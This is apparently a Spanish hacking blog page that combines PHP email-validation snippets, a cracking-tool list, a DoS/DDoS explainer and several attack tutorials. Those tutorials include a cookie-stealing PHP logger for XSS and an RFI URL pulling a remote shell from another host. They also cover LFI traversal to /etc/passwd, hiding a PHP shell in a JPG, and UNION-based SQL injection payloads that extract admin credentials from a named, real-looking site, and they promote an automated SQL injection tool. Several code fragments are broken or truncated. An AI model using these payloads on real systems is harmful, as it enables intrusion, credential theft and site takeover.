Validacion de un formulario Email
Por: el-brujo
Fuente Original: Aqui
function verify_email($email){
if(!preg_match('/^[_A-z0-9-]+((\.|\+)[_A-z0-9-]+)*@[A-z0-9-]+(\.[A-z0-9-]+)*(\.[A-z]{2,4})$/',$email)){
return false;
} else {
return $email;
}
}
{
$email = htmlspecialchars(stripslashes(strip_tags($email))); //parse unnecessary characters to prevent exploits
if ( eregi ( '[a-z||0-9]@[a-z||0-9].[a-z]', $email ) )
{ //checks to make sure the email address is in a valid format
$domain = explode( "@", $email ); //get the domain name
if ( @fsockopen ($domain[1],80,$errno,$errstr,3))
{
//if the connection can be established, the email address is probably valid
return true;
} else
{
return false; //if a connection cannot be established return false
}
return false; //if email address is an invalid format return false
}
}
list($local, $domain) = explode("@", $email);
$pattern_local = '^([0-9a-z]*([-|_]?[0-9a-z]+)*)(([-|_]?)\.([-|_]?)[0-9a-z]*([-|_]?[0-9a-z]+)+)*([-|_]?)$';
$pattern_domain = '^([0-9a-z]+([-]?[0-9a-z]+)*)(([-]?)\.([-]?)[0-9a-z]*([-]?[0-9a-z]+)+)*\.[a-z]{2,4}$';
$match_local = eregi($pattern_local, $local);
$match_domain = eregi($pattern_domain, $domain);
if ($match_local && $match_domain) {
return 1;
} else {
return 0;
}
}
En PHP 5:
Se añade la funcionalidad de filter_var
echo "Ok";
} else {
echo "Error";
}
Usando filter _var y comprobando que tenga un punto el dominio con una expresión regular:
return filter_var($email, FILTER_VALIDATE_EMAIL) && preg_match('/@.+\./', $email);
}
Ejemplo Wordpress (usando expresiones regulares)
if( strlen( $email ) < 3 ){
return false;
}
if( strpos( $email, '@', 1 ) === false ){
return false;
}
list( $local, $domain ) = explode( '@', $Valor, 2 );
if( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ){
return false;
}
if( preg_match( '/\.{2,}/', $domain ) ){
return false;
}
if( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ){
return false;
}
$subs = explode( '.', $domain );
if( 2 > count( $subs ) ){
return false;
}
foreach ( $subs as $sub ) {
if( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ){
return false;
}
if( !preg_match('/^[a-z0-9-]+$/i', $sub ) ){
return false;
}
}
return true;
}
Verificar e-mail mirando registro MX si es válido, útil para separar nombre y dominio de un e-mail
// This will split the email into its front
// and back (the domain) portions
list($name, $domain) = explode('@',$email);
if(!checkdnsrr($domain,'MX')){
// No MX record found
return false;
} else {
// MX record found, return email
return $email;
}
}
$res = explode('@', $string);
// array
echo $res[0];
$name = $res[0];
echo $name;
substr
echo substr($mail, 0, strpos($mail, '@') );
explode
echo $name;
Etiquetas: Desarrollo Web, haxs, Php 0 Comments
30 Clones web (pack) Scripts php
Por: Graphixx

- Descripción:
Pack de 30 clones php de páginas web famosas.
Digg.com_clone
Facebook.com_clone
hotornot-game
millionsign.net_clone
xlice.net_clone
Yahoo_Answers_Clone
adbux.com clone
anonym.to clone
bitefight.net clone
~censored~ clone
ebay.com clone script
freedomain.co.nr clone
google.com Search Engine Clone
hotscripts.com Clone
~Imageshack Doesnt Want PW users Hosting Images!~ Clone
IP Chicken clone
MeGA Cheat v1.1 clone
myspace.com Clone
Proxy clone
Rapidsendit Clone.zip
rapidshare.de Clone
savefile.com Clone
~censored~ Clone
uploadgalaxy.com clone
whatismyip.com Clone
Yolike.com
xdrive.com Clone
xlspread.com. clone
yousendit.com Clone
youtube.com Clone
Descarga:
http://www.mediafire.com/?ua3y72mey385e7q
Etiquetas: Desarrollo Web, haxs, Manuales, Php 15 Comments
Herramientas Cracking
Fuente: SHNI
ANALIZADORES
RDG Packer Detector v0.6.5 * Imprescindible*
su página web es la siguiente:
http://www.rdgsoft.8k.com/
Arma FP (Detector para armadillo)
Nota: PEiD no lo pongo porque no es necesario.
DEBUGGERS / DISSASEMBLERS
OllyDBG v1.10 (final version)
OllySND (Search And Destroy, por Lisa&&Alquimista)* Imprescindible *
OllyShadow * Buenísimo
OllySND (Version Portable por Shaddy (7.76MB)* Semi-Imprescindible *
Inmmunity Debugger v1.0
Syser Debugger v1.93 (Ring 0)
iDA Pro v5.0.0.879
EDITORES PE / DUMPEADORES
PE Editor v1.7
PE Tools
Lord PE v1.4 (Edicion DeLuxe) * Imprescindible *
DECOMPILADORES
DeDe v3.50.04.1635 - * Delphi *
EDITORES DE RECURSOS
Resource Tuner v1.98
Restorator 2007 v3.70 1729 * Excelente *.
MISCELÁNEOS
Event To Adress (Guan de dio) Decompila archivo sin comprimir en Delphi y muestra las direcciones de cada Evento.
WinGestor
CrackersKit v2.0 (GRACIAS Carloswaldo )* Completo
PARCHEADORES
dUP 2 (Diablo's 2002) * Buenísimo *
REPARADOR DE TABLA IAT (Rebuilders)
Import Reconstructor v1.6 * Imprescindible *
Etiquetas: haxs, Software 0 Comments
Ataque Dos y DDos
Un servidor (ordenador que aloja una página web o blog) está preparado para soportar un número máximo de conexiones simultaneas. Superado ese número de conexiones pueden pasar dos cosas, que el servidor no responda a más peticiones entrantes o que se desconecte de la red y por tanto quede sin conexión (off line).
De esta forma si un ordenador mal intencionado solicita un número suficiente de peticiones simultaneas puede llegar a saturar los puertos del servidor y provocar que éste deje de funcionar correctamente. Éste es el ataque DoS (Denial of Service) que se traduce como Denegación de Servicio ya que consigue que el servidor deje de prestar servicio a las nuevas peticiones, sean legítimas o no.
Como se puede ver en la imagen el ordenador atacante satura al ordenador atacado (servidor) consumiendo sus recursos (ancho de banda, memoria RAM, etc.). De esta forma el atacante consigue que el servidor rechace las nuevas conexiones, es decir que los siguientes usuarios que intenten acceder, sean atacantes o no, serán rechazados y se les denegará el servicio (DoS).
También puede pasar que el consumo de recursos sea tan excesivo que el administrador del servidor desconecte el servidor de La Red hasta que termine el ataque o encuentre una forma de repelerlo.
De esta forma el servidor queda sin conexión (off line) y ninguna conexión es posible. Ahora es el momento de localizar la IP del ordenador atacante para impedirle el acceso al sistema e impedir el ataque DoS. Pero ¿que pasa cuando el ataque se realiza desde IP distintas y de forma sincronizada?
Cuando el ataque es recibido desde un solo ordenador la defensa en principio es sencilla, consistiría en detectar la IP atacante y bloquear su acceso al servidor. Pero existe una variante del ataque DoS en la que el ataque es realizado desde distintos ordenadores que están localizados (distribuidos) en diferentes puntos. Éste es ataque DDoS (Distributed Denial of Service) que es una ampliación del ataque DoS y que se traduce como Denegación de Servicio Distribuida debido a que el ataque proviene de distintos puntos.
En este tipo de ataques suelen emplearse ordenadores zombies que son ordenadores infectados por un software que permite a un usuario remoto controlarlos. De esta forma es posible coordinar un ataque desde cientos o miles de ordenadores zombies de forma simultanea.
El problema es el mismo que el anterior pero con el agravante de que el ataque suele ser mucho más fuerte y al ser distribuido la defensa es más compleja.
Si recibes un ataque DDoS y tienes un alojamiento (hosting) compartido será tu proveedor quién tenga que hacer frente al ataque ya que tu no tendrás acceso al servidor atacado. En cambio si usas un servidor dedicado (y puede que también en uno virtual) tendrás que hacer uso de diversas herramientas de distinta complejidad pero todas ellas no aptas para el usuario medio. En elhacker.net tienes una lista de posibles defensas ante un ataque de este tipo, desconozco si son válidas pues jamás las implementé y espero no tener que hacerlo.
En cualquier caso esperemos al artículo prometido en Ataque de DDoS a Genbeta en el que nos informarán de las lecciones aprendidas durante el ataque. Seguro que podremos obtener buena información sobre qué hacer en estos casos. Saludos avinagrados.
Etiquetas: haxs, Manuales 0 Comments
SQL Injection Tool
Haxs:
Las fuentes de este Tool, son respetadas en todo momento:
Bueno, antes de nada decir que dudé bastante en publicar ésta herramienta por la inmensa facilidad con la que permite hacer inyecciones sql, pero como es beta aun, tiene muchos bugs, limitaciones y cosas que corregir pues la pongo para que me den recomendaciones y opiniones.
Nombre: SQL Injection Tool
Lenguaje Programación: VB.NET
Autor: Hacker_Zero
Descargar SQL Injection Tool
Password: http://www.eduhack.es
Es necesario tener instalado en vustro pc el Microsoft .Net Framework para ejecutar la aplicación. En caso de error, descargable desde AQUÍ
Que es SQL Injection Tool?
SQL Injection Tool es una herramienta que realiza inyecciones sql automáticamente a una web vulnerable, de una forma muy sencilla y totalmente gráfica.
Ejemplo de uso
Vamos a probar la herramienta con http://www.bullcariez.es/index1.php?id=1
Introducimos la url en el Campo y click en comprobar.
Nos dice que es vulnerable y se habilita un nuevo boton, el cual pulsamos y esperamos (esperamos, no vaya a petar que es beta xDD):
Cuando termine de cargar clicamos en users:
Clicamos en los campos que queramos ver:
Así de sencillo podemos obtener valores de una base de datos, y si tenemos mala fe, defacearla, aunque no hice ésta aplicación para eso, sinó para mostrar lo sencillo que puede ser inyectar consultas sql que comprometen la seguridad de muchas webs.
Limitaciones de ésta versión:
-Falla en algunos casos debido a comportamientos diferentes de lo esperado.
-Cuelgues o retrasos inesperados ante un retraso en la carga de la web.
-Hay que poner una url del tipo página.com/index.php?id=123.
Novedades para la siguiente versión:
-Funcional con muchos más casos de webs.
-Uso de dorks para buscar páginas vulnerables en google.
-AutoSearch para buscar variables vulnerables en una página.
-Optimización del código y arreglo de bugs.
Espero les sirva. Un saludo.
Fuente: :http://foro.eduhack.es/bugs-y-exploits-b7.0/
Etiquetas: haxs 2 Comments
[Taller] XSS, RFI, LFI [Escencial]
Haxs, Manuales:
Muchos creen que xss no sirve para nada, pero el xss es una vulnerabilidad de rango muy alto osea , es muy peligrosa y yo creo que mas de un 70% de las webs tienen xss
Este ataque consiste en la ejecucion de codigo en el lado del cliente.
Voy a explicarlo de la manera mas entendible posible.
Explotanto bien una xss uno pordría hacerce son las cookies de algún usuario, (normalmente el admin) y ownear el sitio
Digamos que tenemos nuestra web: (ejemplo nada mas)
http://www.ejemplo.com/
Y en index.php la variable porno esta mal sanada y no se checkea...
Suponiendo esto nosotros seriamos capazes de poder ejecutar codigo del lado del cliente...
Y aca es donde dice alert, bueno eso es solo para testiar si es vulnerable
Ahora seguimos a lo interesante.
Como podriamos robarles las cookies
Sencillo, solo necesitamos redirigir a nuestra victima a un php code que guarde las cookies
Para eso necesitamos un hacked host o un servidor free que tenga php
Ahora montamos nuestro codigo de salvado de cookies...
Aca les Facilito uno:
= fopen('log2.htm','a');
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '
Cookie: '.htmlentities($cookie).'
Pagina: '.htmlentities($re));
fwrite($archivo, '
IP: ' .$ip. '
Fecha y Hora: ' .$fecha. '');
fclose($archivo);
?>Bueno ahora , que ya tenemos nuestro code online en un sitio que nos permita subir un php y no nos comprometa mucho, digamos:
http://www.elpunto.com/cookies.php (ejemplo nada mas)
Y creado nuestro log2.htm donde se logearan las cookies robadas
En el code php requiere de este archivo.
Compondremos la url para robar las cookies
Bueno, explicando un poco que es lo que se hizo ahí:
: Cerramos el tag script
Bueno hasta ahí ya tenemos una pequeña introduccion a el xss.
Pasemos a RFI y LFI:
Estos errores ya no son tan comunes.
Se llaman:
RFI : Remote File Inclusion
LFI : Local File Inclusion
Los dos iguales de peligrosos a la hora de medirlos, solo que uno es mas facil que el otro a la hora de explotar.
Veamos primero RFI
Supongamos que tenemos un php code parecido a este :
=$_GET['reberto'];
include($reberto);
?>
En eso consiste el RFI , la variable no esta filtrada y se incluye entonces si nosotros tenemos ese code en nuestra web:
www.ejemplo.com/index.php
y nuestra variable reberto como ahi se ve esta mal sanada...
Fácilmente podriamos hacer un:
http://www.ejemplo.com/index.php?reberto=http://www.ejemplo2.com/shell.txt?
Donde en www.ejemplo2.com/shell.txt tengamos nuestra shell y asi sera incluida facilmente en la web y ya tenemos ahi una shell php.
Bastante sencillo.
Ahora pasemos al LFI , como explique anteriormente este ataque es un ataque un poquito mas complicado , pero sigue siendo facil con un poco de practica
Consiste en llamar archivos del mismo servidor.
Supongamos que tenemos un archivo vulnerable a LFI con este code:
Que pasaria , bueno si yo intentara incluir un archivo remotoo del servidor no lo incluiria, pero si yo intentara incluir un archivo que este dentro el servidor si podria.
Ya todos conocemos el ejemplo.
http://www.ejemplo.com/index.php?reberto=../../../etc/passwd
Donde lo que se ahce es ir llendo por los directorios hasta encontrar el archivo passwd dentro de la carpeta /etc/
Como hago para conseguir shell ahora???
Lo que vamos a necesitar es :
- Una imagen JPG
- El programa EDJPGCOM
- Y un code de una shell
Ahora lo que hacemos con esos tres objetos es :
Arrastramos la imagen hasta el ejecutable EDJPGCOM.exe y ahi nos dara una ventanita ahi pondremos el code de la shell php
y guardamos , bueno de esa manera ya tenemos nuestra shell php en una imagen...
Ahora que hacemos mmmm que les parece hacer un reverse DNS a la web vulnerable a LFI.
Bueno ahora necesitamos un sitio que nos permita subir imagenes, y en www.norberto.com (ejemplo) se puedes subir imagenes
Entonces nosotros vamos y subimos una imagen ahi y la guarda en:
www.norberto.com/imagenes/shell.jpg
Ahora vamos y hacemos:
www.ejemplo.com/index.php?reberto=../etc/passwd
www.ejemplo.com/index.php?reberto=../../etc/passwd
www.ejemplo.com/index.php?reberto=../../../etc/passwd
Al fin: nos tira la lista de users :
root:0:0:root:/root:/bin/bash
reberto:33541:33541:xtremo:/home/xtremo:/bin/bash
xtremo:33542:33542:xtremo:/home/xtremo:/bin/bash
murder:33543:33543:murder:/home/murder:/bin/bash
ddlr:33544:33544:ddlr:/home/ddlr:/bin/bash
re:33545:33545:re:/home/re:/bin/bash
norberto:33546:33546:norberto:/home/norberto:/bin/bash
Ahora debemos adivinar el path de norberto que casi siempre es public_html/ ... suponiendo que sea ese nosotros ahora para incluir nuestra shell a ejemplo.com
tendriamos que hacer http://www.ejemplo.com/index.php?reberto=../../../home/norberto/public_html/imagenes/shell.jpg
Y ahora si , tendriamos un shell php montada , es muy util y funcion.
Editado: ohk
Fuente: el sobrino
Etiquetas: haxs, Manuales 1 Comments
Taller Inyección SQL
Haxs, Manual:
Éste documento ha sido realizado con fines exclusivamente didácticos. Todos los ejemplos aquí posteados se realizaron en un servidor previamente preparado por el autor. Ni la web ni el autor se responsabilizan de otros usos que otros usuarios le puedan dar.
¿Que es una inyección SQL?
Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.
Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.
Un poco de teoría
Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:
1- Averiguando si es vulnerable
Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:
$user = $_GET['id'];
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) OR die (mysql_error());
¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:
http://www.phpbuddy.com/article.php?id=1+and+1=1
La consulta se realizara como:
SELECT * FROM `users` WHERE id=1 AND 1=1
SELECT * FROM `users` WHERE id=1 AND 1=0
Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?
Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.
2- Averiguar el número de Columnas
Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:
http://www.phpbuddy.com/article.php?id=1+order+by+1
Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:
http://www.phpbuddy.com/article.php?id=1+order+by+2
Y así hasta llegar a 7, que se producirá un error:
http://www.phpbuddy.com/article.php?id=1+order+by+7
Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.
3- Haciendo nuestra consulta
Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:
http://www.phpbuddy.com/article.php?id=-1+union+select+1,2,3,4,5,6
Union: Se usa para combinar los resultados de varias sentencias SELECT.
Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.
Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:
http://www.phpbuddy.com/article.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()
version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.
4- Buscando nuestra tabla
Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:
http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1
Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:
Taller Inyecciones SQL
http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1
y la siguiente:
http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1
Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:
http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1
Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).
5- Buscando nuestras columnas
Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:
http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)
En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.
La inyección quedaría así:
http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)
Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:
http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)
Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:
El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!
6- Imprimiendo los datos
Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:
http://www.phpbuddy.com/article.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users
Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:
http://www.phpbuddy.com/article.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2
Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.
Como sería para los demás users? Pues igual, solo cambiando el id.
Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.
Y aprovechad
http://www.phpbuddy.com/ para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.
Espero les haya servido de algo mi humilde aporte, si alguien con más experiencia quiere contribuír en éste taller ya sea poniendo más técnicas de inyección o programando nuevos niveles para practicar será bienvenido.
Editado por: ohk
Powered by:
Hacker_Zero
Fuente
Etiquetas: haxs, Manuales 2 Comments

Recent Comments